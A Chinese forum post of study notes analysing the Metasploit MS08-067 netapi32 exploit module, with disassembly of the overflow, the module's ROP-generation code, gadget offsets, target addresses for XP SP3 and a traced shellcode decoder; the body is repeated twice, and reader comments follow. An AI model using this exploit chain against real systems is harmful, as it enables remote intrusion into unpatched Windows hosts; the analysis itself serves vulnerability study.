深入理解ms08_067_netapi.rb
研究了一下BT5中的ms08_067_netapi.rb,有点收获写出来希望兄弟们喜欢
高手们觉得深度不够或已经过时,莫要见笑,晚辈水平有限,谢谢!
我把原模块精简了一下,就针对两个目标Windows XP SP3 Chinese - Simplified (NX)和Windows XPSP3 English (AlwaysOn NX)'。
前者主要是利用了acgenral.dll中的如下代码,来'DisableNX' ,进而执行堆栈中的shellcode;而后者较为复杂一点,
主要是利用ROP(Return Oriented Programming)创建一个具有可执行权限的堆,再将shellcode拷贝进去执行。
不是科普文章,只能算一篇学习笔记。
58fc17c2 6a04 push 4
58fc17c4 8d4508 lea eax,[ebp+8]
58fc17c7 50 push eax
58fc17c8 6a22 push 22h
58fc17ca 6aff push 0FFFFFFFFh
58fc17cc c7450802000000 mov dword ptr [ebp+8],2
58fc17d3 ff150414fb58 call ntdll!ZwSetInformationProcess (7c92dc80)
溢出原因:
Svchost.exe进程中的netapi32.dll中
5B86A5A1 50 push eax
5B86A5A2 57 push edi
5B86A5A3 FF15 7012865B call dword ptr ds:[<&msvcrt.wcscpy>]
// 例如:要处理的参数path为\aaaa\..\..\bbbbbbb
把它放在缓冲区内形如:\aaaa\..\..\bbbbbbb
而堆栈中数据形式为:\ cccccccccccc\aaaa\..\..\bbbbbbb,也就是在缓冲区前面不远处有一个字符’ \’;
我们目的是要将path中的 ‘\..’和’ \.’去除,把路径加以简化。但是下面的代码导致了数据拷贝时出现了越界,堆栈被破坏从而发生了溢出。
5B878AD3 mov esi,edi
5B878AD5 lea eax,dword ptr ds:[edi-2] //越界到了拷贝缓冲区的首地址之前,并继续拷贝
5B878AD8 jmp short netapi32.5B878AE1
5B878ADA cmp eax,dword ptr ss:[ebp+8]
5B878ADD je short netapi32.5B878AE7
5B878ADF dec eax
5B878AE0 dec eax
5B878AE1 cmp word ptr ds:[eax],5C
5B878AE5 jnz short netapi32.5B878ADA //找到原缓冲区前面的某个'\'停下,下次数据拷贝到该处
//注意在原缓冲区前面的那个'\'是在调用完下面这句后留在堆栈中的废弃数据,程序错误地认为是path中的字符,结果被恶意利用。
5B86A237 call dword ptr ds:[<&ntdll.RtlIsDosDeviceName_U>]
英文版溢出前截图
英文版溢出后截图
调试技巧:
1、如何找到Svchost.exe进程(通常有好几个Svchost.exe进程)你可以先溢出,而后执行下面的命令,获悉进程pid;
meterpreter > getpid
Current pid: 1036
2、或者你在任务管理器中找到占用内存最多的那个Svchost.exe进程
3、开启两个虚拟机,一个运行BT5,另一个运行XP SP3英文版,先用调试器附加找的Svchost.exe进程,
在5B86A40B 处下断;而后用BT5进行溢出,即可断下。
英文版调试笔记:
模块中rop的生成函数
def generate_rop(version)
free_byte = "\x90"
gadget1 = free_byte + "\x5a\x59\xc3"
gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte
dws = gadget2.unpack('V*')
gadget3 = "\xcc" + free_byte + "\xeb\x5a"
module_name = 'ACGENRAL.DLL'
# module_base for XP SP3 English version
module_base = 0x6f880000
rvasets = {}
rvasets['5.1.2600.5512'] = {
'call_HeapCreate' => 0x21286,
'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796,
'pop ecx / ret' => 0x2e796+6,
'mov [eax], ecx / ret' => 0xd296,
'jmp eax' => 0x19c6f,
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56,
'mov [eax+0x10], ecx / ret' => 0x10a56 + 6,
'add eax, 8 / ret' => 0x29c64
}
rop = [
0x00018000,
'call_HeapCreate',# get some RWX memory via HeapCreate
0x01040110, # HeapCreate 3 parameters
0x01010101,
0x01010101,
'add eax, ebp / mov ecx, 0x59ffffa8 / ret',
'pop ecx / ret',
gadget1.unpack('V').first,
'mov [eax], ecx / ret',
'jmp eax',
dws[0],
dws[1],
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',
'pop ecx / ret',
dws[2],
'mov [eax+0x10], ecx / ret',
'add eax, 8 / ret',
'jmp eax',
gadget3.unpack('V').first
]
…….
ret = rop.pack('V*')
end
英文版溢出后执行rop流程:
1、
6F8A1286 FF15 E411886F call dword ptr ds:[<&KERNEL32.HeapCreate>] //kernel32.HeapCreate
6F8A128C A3 2C808B6F mov dword ptr ds:[6F8B802C],eax
6F8A1291 C3 retn
0351F45C 01040110 |Flags = HEAP_REALLOC_IN_PLACE_ONLY|1040100
0351F460 01010101 |InitialSize = 1010101 (16843009.)
0351F464 01010101 \MaximumSize = 1010101 (16843009.)
2、
//eax是新开的堆起始地址 ebp=00018000,执行后eax=03788000
6F8AE796 01E8 add eax,ebp
6F8AE798 B9 A8FFFF59 mov ecx,59FFFFA8
6F8AE79D C3 retn
3、
6F8AE79C 59 pop ecx //弹出栈顶数据0xC3595A90给ecx
6F8AE79D C3 retn
4、
6F88D296 8908 mov dword ptr ds:[eax],ecx //再放入前面开辟的堆中
6F88D298 C3 retn
5、
6F899C6F - FFE0 jmp eax // jmp 03788000,跳到堆中去执行刚才放入堆中的指令
6、
03788000 90 nop //就是这几条了
03788001 5A pop edx //edx赋值0x83C78990
03788002 59 pop ecx //ecx赋值0x7F6A0CC7
03788003 C3 retn
7、
6F890A56 8950 08 mov dword ptr ds:[eax+8],edx //继续放到堆中
6F890A59 8948 0C mov dword ptr ds:[eax+C],ecx
6F890A5C 8948 10 mov dword ptr ds:[eax+10],ecx
6F890A5F C3 retn
8、
6F8AE79C 59 pop ecx //ecx赋值90A5F259
6F8AE79D C3 retn
9、
6F890A5C 8948 10 mov dword ptr ds:[eax+10],ecx //继续放到堆中
6F890A5F C3 retn
10、
6F8A9C64 83C0 08 add eax,8 //执行后eax=0x03788008
6F8A9C67 C3 retn
11、
6F899C6F - FFE0 jmp eax // 跳到堆中0x03788008处去执行刚才放入的指令
12、
03788008 90 nop
03788009 89C7 mov edi,eax
0378800B 83C7 0C add edi,0C //执行后edi=0x03788014
0378800E 6A 7F push 7F
03788010 59 pop ecx //移动0x7f个dword
03788011 F2:A5 repne movs dword ptr es:[edi],dword ptr ds:[esi] //将栈中的shellcode等数据转到堆中
03788013 90 nop
03788014 0000 add byte ptr ds:[eax],al
03788016 0000 add byte ptr ds:[eax],al
.....
13、
执行完上面的repne movs,下步要执行的指令就准备好了
03788013 90 nop
03788014 8A6F 7F mov ch,byte ptr ds:[edi+7F]
03788017 0000 add byte ptr ds:[eax],al
03788019 00CC add ah,cl
0378801B 90 nop
0378801C EB 5A jmp short 03788078 //rop最后2字节是个短跳转,跳到编码后的payload处执行
0378801E 4E dec esi //下面是2字节随机生成的 Rex::Text.rand_text_alpha(2)
0378801F 61 popad
03788020 0000 add byte ptr ds:[eax],al // NULL termination
14、
//payload开始执行,不远处就是解码shellcode
03788078 25 49B067B3 and eax,B367B049
0378807D 2D E2276692 sub eax,926627E2
03788082 75 15 jnz short 03788099
03788084 BA 057A1D3D mov edx,3D1D7A05
.......
037880C2 6A 4C push 4C
037880C4 59 pop ecx
037880C5 D9EE fldz
037880C7 D97424 F4 fstenv (28-byte) ptr ss:[esp-C] //把前一条指令的虚拟地址压栈
037880CB 5B pop ebx //ebx=0x037880C5
037880CC 8173 13 E4F6986B xor dword ptr ds:[ebx+13],6B98F6E4 //偏移0x13
037880D3 83EB FC sub ebx,-4
037880D6 ^ E2 F4 loopd short 037880CC //循环解码相对与fldz指令偏移0x13处开始的数据
037880D8 65:32CC xor cl,ah //此处开始为待解码的shellcode
037880DB 99 cdq
........
解释一下:
'Targets' =>
[
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Simplified (NX)',
{
'Ret' => 0x58fbf807, # 中文版该处是call esi
'DisableNX' => 0x58fc17c2, #中文版该处开始调用ZwSetInformationProcess
'Scratch' => 0x00020408 #这是一个可写的内存地址
}
],
[ 'Windows XP SP3 English (AlwaysOn NX)',
{
# No pivot is needed, we drop into our rop
'Scratch' => 0x00020408,
'UseROP' => '5.1.2600.5512'
}
],
]
高手们觉得深度不够或已经过时,莫要见笑,晚辈水平有限,谢谢!
我把原模块精简了一下,就针对两个目标Windows XP SP3 Chinese - Simplified (NX)和Windows XPSP3 English (AlwaysOn NX)'。
前者主要是利用了acgenral.dll中的如下代码,来'DisableNX' ,进而执行堆栈中的shellcode;而后者较为复杂一点,
主要是利用ROP(Return Oriented Programming)创建一个具有可执行权限的堆,再将shellcode拷贝进去执行。
不是科普文章,只能算一篇学习笔记。
58fc17c2 6a04 push 4
58fc17c4 8d4508 lea eax,[ebp+8]
58fc17c7 50 push eax
58fc17c8 6a22 push 22h
58fc17ca 6aff push 0FFFFFFFFh
58fc17cc c7450802000000 mov dword ptr [ebp+8],2
58fc17d3 ff150414fb58 call ntdll!ZwSetInformationProcess (7c92dc80)
溢出原因:
Svchost.exe进程中的netapi32.dll中
5B86A5A1 50 push eax
5B86A5A2 57 push edi
5B86A5A3 FF15 7012865B call dword ptr ds:[<&msvcrt.wcscpy>]
// 例如:要处理的参数path为\aaaa\..\..\bbbbbbb
把它放在缓冲区内形如:\aaaa\..\..\bbbbbbb
而堆栈中数据形式为:\ cccccccccccc\aaaa\..\..\bbbbbbb,也就是在缓冲区前面不远处有一个字符’ \’;
我们目的是要将path中的 ‘\..’和’ \.’去除,把路径加以简化。但是下面的代码导致了数据拷贝时出现了越界,堆栈被破坏从而发生了溢出。
5B878AD3 mov esi,edi
5B878AD5 lea eax,dword ptr ds:[edi-2] //越界到了拷贝缓冲区的首地址之前,并继续拷贝
5B878AD8 jmp short netapi32.5B878AE1
5B878ADA cmp eax,dword ptr ss:[ebp+8]
5B878ADD je short netapi32.5B878AE7
5B878ADF dec eax
5B878AE0 dec eax
5B878AE1 cmp word ptr ds:[eax],5C
5B878AE5 jnz short netapi32.5B878ADA //找到原缓冲区前面的某个'\'停下,下次数据拷贝到该处
//注意在原缓冲区前面的那个'\'是在调用完下面这句后留在堆栈中的废弃数据,程序错误地认为是path中的字符,结果被恶意利用。
5B86A237 call dword ptr ds:[<&ntdll.RtlIsDosDeviceName_U>]
英文版溢出前截图
英文版溢出后截图
调试技巧:
1、如何找到Svchost.exe进程(通常有好几个Svchost.exe进程)你可以先溢出,而后执行下面的命令,获悉进程pid;
meterpreter > getpid
Current pid: 1036
2、或者你在任务管理器中找到占用内存最多的那个Svchost.exe进程
3、开启两个虚拟机,一个运行BT5,另一个运行XP SP3英文版,先用调试器附加找的Svchost.exe进程,
在5B86A40B 处下断;而后用BT5进行溢出,即可断下。
英文版调试笔记:
模块中rop的生成函数
def generate_rop(version)
free_byte = "\x90"
gadget1 = free_byte + "\x5a\x59\xc3"
gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte
dws = gadget2.unpack('V*')
gadget3 = "\xcc" + free_byte + "\xeb\x5a"
module_name = 'ACGENRAL.DLL'
# module_base for XP SP3 English version
module_base = 0x6f880000
rvasets = {}
rvasets['5.1.2600.5512'] = {
'call_HeapCreate' => 0x21286,
'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796,
'pop ecx / ret' => 0x2e796+6,
'mov [eax], ecx / ret' => 0xd296,
'jmp eax' => 0x19c6f,
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56,
'mov [eax+0x10], ecx / ret' => 0x10a56 + 6,
'add eax, 8 / ret' => 0x29c64
}
rop = [
0x00018000,
'call_HeapCreate',# get some RWX memory via HeapCreate
0x01040110, # HeapCreate 3 parameters
0x01010101,
0x01010101,
'add eax, ebp / mov ecx, 0x59ffffa8 / ret',
'pop ecx / ret',
gadget1.unpack('V').first,
'mov [eax], ecx / ret',
'jmp eax',
dws[0],
dws[1],
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',
'pop ecx / ret',
dws[2],
'mov [eax+0x10], ecx / ret',
'add eax, 8 / ret',
'jmp eax',
gadget3.unpack('V').first
]
…….
ret = rop.pack('V*')
end
英文版溢出后执行rop流程:
1、
6F8A1286 FF15 E411886F call dword ptr ds:[<&KERNEL32.HeapCreate>] //kernel32.HeapCreate
6F8A128C A3 2C808B6F mov dword ptr ds:[6F8B802C],eax
6F8A1291 C3 retn
0351F45C 01040110 |Flags = HEAP_REALLOC_IN_PLACE_ONLY|1040100
0351F460 01010101 |InitialSize = 1010101 (16843009.)
0351F464 01010101 \MaximumSize = 1010101 (16843009.)
2、
//eax是新开的堆起始地址 ebp=00018000,执行后eax=03788000
6F8AE796 01E8 add eax,ebp
6F8AE798 B9 A8FFFF59 mov ecx,59FFFFA8
6F8AE79D C3 retn
3、
6F8AE79C 59 pop ecx //弹出栈顶数据0xC3595A90给ecx
6F8AE79D C3 retn
4、
6F88D296 8908 mov dword ptr ds:[eax],ecx //再放入前面开辟的堆中
6F88D298 C3 retn
5、
6F899C6F - FFE0 jmp eax // jmp 03788000,跳到堆中去执行刚才放入堆中的指令
6、
03788000 90 nop //就是这几条了
03788001 5A pop edx //edx赋值0x83C78990
03788002 59 pop ecx //ecx赋值0x7F6A0CC7
03788003 C3 retn
7、
6F890A56 8950 08 mov dword ptr ds:[eax+8],edx //继续放到堆中
6F890A59 8948 0C mov dword ptr ds:[eax+C],ecx
6F890A5C 8948 10 mov dword ptr ds:[eax+10],ecx
6F890A5F C3 retn
8、
6F8AE79C 59 pop ecx //ecx赋值90A5F259
6F8AE79D C3 retn
9、
6F890A5C 8948 10 mov dword ptr ds:[eax+10],ecx //继续放到堆中
6F890A5F C3 retn
10、
6F8A9C64 83C0 08 add eax,8 //执行后eax=0x03788008
6F8A9C67 C3 retn
11、
6F899C6F - FFE0 jmp eax // 跳到堆中0x03788008处去执行刚才放入的指令
12、
03788008 90 nop
03788009 89C7 mov edi,eax
0378800B 83C7 0C add edi,0C //执行后edi=0x03788014
0378800E 6A 7F push 7F
03788010 59 pop ecx //移动0x7f个dword
03788011 F2:A5 repne movs dword ptr es:[edi],dword ptr ds:[esi] //将栈中的shellcode等数据转到堆中
03788013 90 nop
03788014 0000 add byte ptr ds:[eax],al
03788016 0000 add byte ptr ds:[eax],al
.....
13、
执行完上面的repne movs,下步要执行的指令就准备好了
03788013 90 nop
03788014 8A6F 7F mov ch,byte ptr ds:[edi+7F]
03788017 0000 add byte ptr ds:[eax],al
03788019 00CC add ah,cl
0378801B 90 nop
0378801C EB 5A jmp short 03788078 //rop最后2字节是个短跳转,跳到编码后的payload处执行
0378801E 4E dec esi //下面是2字节随机生成的 Rex::Text.rand_text_alpha(2)
0378801F 61 popad
03788020 0000 add byte ptr ds:[eax],al // NULL termination
14、
//payload开始执行,不远处就是解码shellcode
03788078 25 49B067B3 and eax,B367B049
0378807D 2D E2276692 sub eax,926627E2
03788082 75 15 jnz short 03788099
03788084 BA 057A1D3D mov edx,3D1D7A05
.......
037880C2 6A 4C push 4C
037880C4 59 pop ecx
037880C5 D9EE fldz
037880C7 D97424 F4 fstenv (28-byte) ptr ss:[esp-C] //把前一条指令的虚拟地址压栈
037880CB 5B pop ebx //ebx=0x037880C5
037880CC 8173 13 E4F6986B xor dword ptr ds:[ebx+13],6B98F6E4 //偏移0x13
037880D3 83EB FC sub ebx,-4
037880D6 ^ E2 F4 loopd short 037880CC //循环解码相对与fldz指令偏移0x13处开始的数据
037880D8 65:32CC xor cl,ah //此处开始为待解码的shellcode
037880DB 99 cdq
........
解释一下:
'Targets' =>
[
# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Simplified (NX)',
{
'Ret' => 0x58fbf807, # 中文版该处是call esi
'DisableNX' => 0x58fc17c2, #中文版该处开始调用ZwSetInformationProcess
'Scratch' => 0x00020408 #这是一个可写的内存地址
}
],
[ 'Windows XP SP3 English (AlwaysOn NX)',
{
# No pivot is needed, we drop into our rop
'Scratch' => 0x00020408,
'UseROP' => '5.1.2600.5512'
}
],
]
评论17次
很不错的学xi笔记 受教了
只能慢慢看了,层次太深
现在这个就在一些内网中能有点用。洞老了
这套流程 分析的很赞 顶一下
楼主分析得真好
碉堡了~!!!
不错分析能力很强。。
nice share bro
分析的不错,如果格式再整理下就更好了。
看不懂啊,MSF上面版本分的很细啊
有人把这漏斗 ,做到手机上使用了。
这个在内网还得结合smb 不然也不是效果很好
t00ls 都是脚本流啊...话说我也看不懂
这个估计连内网渗透都用不上了
实在是看不懂
NND。。。看不懂啊。。。太高深了。。
不错哦 理解够深刻,。光看520那几个视频都某意思。。 话说郑州红盟在哪地方呢。。